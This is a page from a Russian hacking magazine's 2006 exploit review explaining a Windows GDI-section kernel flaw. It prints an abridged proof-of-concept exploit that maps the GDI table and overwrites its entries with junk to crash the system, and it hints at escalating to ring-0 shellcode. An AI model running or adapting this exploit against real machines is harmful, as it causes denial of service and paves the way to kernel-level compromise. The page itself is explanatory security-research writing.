Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #96, ДЕКАБРЬ 2006 г.

Обзор эксплойтов

Крис Касперски

Хакер, номер #096, стр. 096-060-5


Самое простое (но не самое умное), что можно сделать, - это загадить GDI-секцию всяким мусором, и тогда система немедленно рухнет, высвечивая знаменитый голубой экран. Однако при желании можно пойти дальше и передать управление на свой shell-код, выполняющийся в нулевом кольце.

Рассмотрим структуру GDITableEntry, совокупность которых и образует GDI-секцию, подлежащую хаку:

Структура GDITableEntry

typedef struct

{

DWORD pKernelInfo;

WORD ProcessID;

WORD _nCount;

WORD nUpper;

WORD nType;

DWORD pUserInfo;

} GDITableEntry;

Мы видим пару интригующих нас элементов - pUserInfo и pKernelInfo, представляющих собой указатели на пользовательские данные и данные режима ядра соответственно. Вот они-то и дают ключ к воздействую на память ядра из прикладного адресного пространства. Но прежде чем двигаться дальше, изучим код exploit'а, имеющийся в нашем распоряжении и вызывающий BSOD. Для наглядности (и экономии бумажного пространства) он приведен со значительными сокращениями, акцентирующими алгоритм его работы и отправляющими все несущественные мелочи в /dev/null.

Exploit от Argeniss Research Team в сокращенном варианте

typedef struct _SECTION_BASIC_INFORMATION

{

ULONG d000;

ULONG SectionAttributes;

LARGE_INTEGER SectionSize;

} SECTION_BASIC_INFORMATION;

// объявляем функцию обратного вызова для NtQuerySection

typedef DWORD (CALLBACK* NTQUERYSECTION) (HANDLE, DWORD, PVOID,DWORD,DWORD*);

int main(int argc, char* argv[])

{

HANDLE hMapFile = 0x10; // дескриптор мап-файла

// вызываем CreateWindow, чтобы система создала GDI-секцию

// в адресном пространстве нашего процесса

hWin = CreateWindow(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);

while(!lpMapAddress)

{

hMapFile = hMapFile+1;

lpMapAddress=MapViewOfFile(hMapFile,FILE_MAP_ALL_ACCESS,0,0,0);

}

// перечисляем все секции нашего процесса

NtQuerySect=GetProcAddress(LoadLibrary("Ntdll.dll"),"NtQuerySection");

NtQuerySection(hMapFile, 0, &buff, sizeof(buff), 0);

gdiTable = (GDITableEntry*)lpMapAddress;

// записываем в GDI-table всякий мусор

for (i=0;i<buff.SectionSize.QuadPart ;i+=sizeof(GDITableEntry))

{

gdiTable->_nCount = 0x5858;

gdiTable->nType = 0x5858;

gdiTable->nUpper = 0x5858;

gdiTable->ProcessID = 0x5858;

gdiTable->pKernelInfo = 0x58585858;

gdiTable->pUserInfo = 0x58585858;

gdiTable++;

}

}

Компилируем его и запускаем на выполнение (лучше на виртуальной машине, чтобы в случае чего не порушить основную систему), предварительно переключив ее в режим сохранения полного дампа (Мой компьютер -> Свойства -> Дополнительно -> Загрузка и восстановление -> Запись отладочной информации -> Полный дамп памяти). Говорим «ОК» и перезагружаемся. Запускаем ранее откомпилированный exploit. Если все прошло успешно, то через несколько секунд система падает в голубой экран.

Обладая дампом памяти, мы сможем разобраться, в каком именно месте происходит исключение, как обрабатываются указатели и что необходимо предпринять для подготовки shell-кода к засылке и выполнению.

Назад на стр. 096-060-4  Содержание  Вперед на стр. 096-060-6